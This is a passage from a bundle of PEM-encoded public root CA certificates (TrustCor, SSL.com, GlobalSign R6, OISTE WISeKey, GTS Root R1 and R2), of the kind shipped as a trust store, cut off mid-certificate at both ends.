3CghZwnS1k1aHBkcjndcw5QkPTJrS37UeJSDvjdNzl/HHk484IkzlQsPpTLWPFp5LBk= -----END CERTIFICATE----- TrustCor RootCert CA-2 ====================== -----BEGIN CERTIFICATE----- MIIGLzCCBBegAwIBAgIIJaHfyjPLWQIwDQYJKoZIhvcNAQELBQAwgaQxCzAJBgNVBAYTAlBBMQ8w DQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5MSQwIgYDVQQKDBtUcnVzdENvciBT eXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29yIENlcnRpZmljYXRlIEF1dGhvcml0 eTEfMB0GA1UEAwwWVHJ1c3RDb3IgUm9vdENlcnQgQ0EtMjAeFw0xNjAyMDQxMjMyMjNaFw0zNDEy MzExNzI2MzlaMIGkMQswCQYDVQQGEwJQQTEPMA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5h bWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3IgU3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5U cnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0 IENBLTIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnIG7CKqJiJJWQdsg4foDSq8Gb ZQWU9MEKENUCrO2fk8eHyLAnK0IMPQo+QVqedd2NyuCb7GgypGmSaIwLgQ5WoD4a3SwlFIIvl9Nk RvRUqdw6VC0xK5mC8tkq1+9xALgxpL56JAfDQiDyitSSBBtlVkxs1Pu2YVpHI7TYabS3OtB0PAx1 oYxOdqHp2yqlO/rOsP9+aij9JxzIsekp8VduZLTQwRVtDr4uDkbIXvRR/u8OYzo7cbrPb1nKDOOb XUm4TOJXsZiKQlecdu/vvdFoqNL0Cbt3Nb4lggjEFixEIFapRBF37120Hapeaz6LMvYHL1cEksr1 /p3C6eizjkxLAjHZ5DxIgif3GIJ2SDpxsROhOdUuxTTCHWKF3wP+TfSvPd9cW436cOGlfifHhi5q jxLGhF5DUVCcGZt45vz27Ud+ez1m7xMTiF88oWP7+ayHNZ/zgp6kPwqcMWmLmaSISo5uZk3vFsQP eSghYA2FFn3XVDjxklb9tTNMg9zXEJ9L/cb4Qr26fHMC4P99zVvh1Kxhe1fVSntb1IVYJ12/+Ctg rKAmrhQhJ8Z3mjOAPF5GP/fDsaOGM8boXg25NSyqRsGFAnWAoOsk+xWq5Gd/bnc/9ASKL3x74xdh 8N0JqSDIvgmk0H5Ew7IwSjiqqewYmgeCK9u4nBit2uBGF6zPXQIDAQABo2MwYTAdBgNVHQ4EFgQU 2f4hQG6UnrybPZx9mCAZ5YwwYrIwHwYDVR0jBBgwFoAU2f4hQG6UnrybPZx9mCAZ5YwwYrIwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQELBQADggIBAJ5Fngw7tu/h Osh80QA9z+LqBrWyOrsGS2h60COXdKcs8AjYeVrXWoSK2BKaG9l9XE1wxaX5q+WjiYndAfrs3fnp kpfbsEZC89NiqpX+MWcUaViQCqoL7jcjx1BRtPV+nuN79+TMQjItSQzL/0kMmx40/W5ulop5A7Zv 2wnL/V9lFDfhOPXzYRZY5LVtDQsEGz9QLX+zx3oaFoBg+Iof6Rsqxvm6ARppv9JYx1RXCI/hOWB3 S6xZhBqI8d3LT3jX5+EzLfzuQfogsL7L9ziUwOHQhQ+77Sxzq+3+knYaZH9bDTMJBzN7Bj8RpFxw PIXAz+OQqIN3+tvmxYxoZxBnpVIt8MSZj3+/0WvitUfW2dCFmU2Umw9Lje4AWkcdEQOsQRivh7dv DDqPys/cA8GiCcjl/YBeyGBCARsaU1q7N6a3vLqE6R5sGtRk2tRD/pOLS/IseRYQ1JMLiI+h2IYU RpFHmygk71dSTlxCnKr3Sewn6EAes6aJInKc9Q0ztFijMDvd1GpUk74aTfOTlPf8hAs/hCBcNANE xdqtvArBAs8e5ZTZ845b2EzwnexhF7sUMlQMAimTHpKG9n/v55IFDlndmQguLvqcAFLTxWYp5KeX RKQOKIETNcX2b2TmQcTVL8w0RSXPQQCWPUouwpaYT05KnJe32x+SMsj/D1Fu1uwJ -----END CERTIFICATE----- TrustCor ECA-1 ============== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIJAISCLF8cYtBAMA0GCSqGSIb3DQEBCwUAMIGcMQswCQYDVQQGEwJQQTEP MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp dHkxFzAVBgNVBAMMDlRydXN0Q29yIEVDQS0xMB4XDTE2MDIwNDEyMzIzM1oXDTI5MTIzMTE3Mjgw N1owgZwxCzAJBgNVBAYTAlBBMQ8wDQYDVQQIDAZQYW5hbWExFDASBgNVBAcMC1BhbmFtYSBDaXR5 MSQwIgYDVQQKDBtUcnVzdENvciBTeXN0ZW1zIFMuIGRlIFIuTC4xJzAlBgNVBAsMHlRydXN0Q29y IENlcnRpZmljYXRlIEF1dGhvcml0eTEXMBUGA1UEAwwOVHJ1c3RDb3IgRUNBLTEwggEiMA0GCSqG SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDPj+ARtZ+odnbb3w9U73NjKYKtR8aja+3+XzP4Q1HpGjOR MRegdMTUpwHmspI+ap3tDvl0mEDTPwOABoJA6LHip1GnHYMma6ve+heRK9jGrB6xnhkB1Zem6g23 xFUfJ3zSCNV2HykVh0A53ThFEXXQmqc04L/NyFIduUd+Dbi7xgz2c1cWWn5DkR9VOsZtRASqnKmc p0yJF4OuowReUoCLHhIlERnXDH19MURB6tuvsBzvgdAsxZohmz3tQjtQJvLsznFhBmIhVE5/wZ0+ fyCMgMsq2JdiyIMzkX2woloPV+g7zPIlstR8L+xNxqE6FXrntl019fZISjZFZtS6mFjBAgMBAAGj YzBhMB0GA1UdDgQWBBREnkj1zG1I1KBLf/5ZJC+Dl5mahjAfBgNVHSMEGDAWgBREnkj1zG1I1KBL f/5ZJC+Dl5mahjAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsF AAOCAQEABT41XBVwm8nHc2FvcivUwo/yQ10CzsSUuZQRg2dd4mdsdXa/uwyqNsatR5Nj3B5+1t4u /ukZMjgDfxT2AHMsWbEhBuH7rBiVDKP/mZb3Kyeb1STMHd3BOuCYRLDE5D53sXOpZCz2HAF8P11F hcCF5yWPldwX8zyfGm6wyuMdKulMY/okYWLW2n62HGz1Ah3UKt1VkOsqEUc8Ll50soIipX1TH0Xs J5F95yIW6MBoNtjG8U+ARDL54dHRHareqKucBK+tIA5kmE2la8BIWJZpTdwHjFGTot+fDz2LYLSC jaoITmJF4PkL0uDgPFveXHEnJcLmA4GLEFPjx1WitJ/X5g== -----END CERTIFICATE----- SSL.com Root Certification Authority RSA ======================================== -----BEGIN CERTIFICATE----- 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 WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k= -----END CERTIFICATE----- SSL.com Root Certification Authority ECC ======================================== -----BEGIN CERTIFICATE----- MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+ 8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z 5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl -----END CERTIFICATE----- SSL.com EV Root Certification Authority RSA R2 ============================================== -----BEGIN CERTIFICATE----- MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+ B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim 9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48 +qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1 ++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7 CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1 hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX 9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w== -----END CERTIFICATE----- SSL.com EV Root Certification Authority ECC =========================================== -----BEGIN CERTIFICATE----- MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy 3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe 5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg== -----END CERTIFICATE----- GlobalSign Root CA - R6 ======================= -----BEGIN CERTIFICATE----- MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE 3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+ azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP 0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0 lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr 3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1 0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA= -----END CERTIFICATE----- OISTE WISeKey Global Root GC CA =============================== -----BEGIN CERTIFICATE----- MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9 -----END CERTIFICATE----- GTS Root R1 =========== -----BEGIN CERTIFICATE----- MIIFWjCCA0KgAwIBAgIQbkepxUtHDA3sM9CJuRz04TANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQG EwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJv b3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAG A1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIi MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx 9vaMf/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7r aKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnW r4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqM LnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly 4cpk9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr 06zqkUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92 wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om 3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNu JLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEM BQADggIBADiWCu49tJYeX++dnAsznyvgyv3SjgofQXSlfKqE1OXyHuY3UjKcC9FhHb8owbZEKTV1 d5iyfNm9dKyKaOOpMQkpAWBz40d8U6iQSifvS9efk+eCNs6aaAyC58/UEBZvXw6ZXPYfcX3v73sv fuo21pdwCxXu11xWajOl40k4DLh9+42FpLFZXvRq4d2h9mREruZRgyFmxhE+885H7pwoHyXa/6xm ld01D1zvICxi/ZG6qcz8WpyTgYMpl0p8WnK0OdC3d8t5/Wk6kjftbjhlRn7pYL15iJdfOBL07q9b gsiG1eGZbYwE8na6SfZu6W0eX6DvJ4J2QPim01hcDyxC2kLGe4g0x8HYRZvBPsVhHdljUEn2NIVq 4BjFbkerQUIpm/ZgDdIx02OYI5NaAIFItO/Nis3Jz5nu2Z6qNuFoS3FJFDYoOj0dzpqPJeaAcWEr tXvM+SUWgeExX6GjfhaknBZqlxi9dnKlC54dNuYvoS++cJEPqOba+MSSQGwlfnuzCdyyF62ARPBo pY+Udf90WuioAnwMCeKpSwughQtiue+hMZL77/ZRBIls6Kl0obsXs7X9SQ98POyDGCBDTtWTurQ0 sR8WNh8M5mQ5Fkzc4P4dyKliPUDqysU0ArSuiYgzNdwsE3PYJ/HQcu51OyLemGhmW/HGY0dVHLql CFF1pkgl -----END CERTIFICATE----- GTS Root R2 =========== -----BEGIN CERTIFICATE----- MIIFWjCCA0KgAwIBAgIQbkepxlqz5yDFMJo/aFLybzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQG EwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJv b3QgUjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAG A1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIi MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTuk k3LvCvptnfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY6Dlo 7JUle3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAuMC6C/Pq8tBcKSOWI m8Wba96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7kRXuJVfeKH2JShBKzwkCX44ofR5Gm dFrS+LFjKBC4swm4VndAoiaYecb+3yXuPuWgf9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbu ak7MkogwTZq9TwtImoS1mKPV+3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscsz cTJGr61K8YzodDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RW Ir9qS34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKaG73Vululycsl aVNVJ1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCqgc7dGtxRcw1PcOnlthYhGXmy 5okLdWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEM 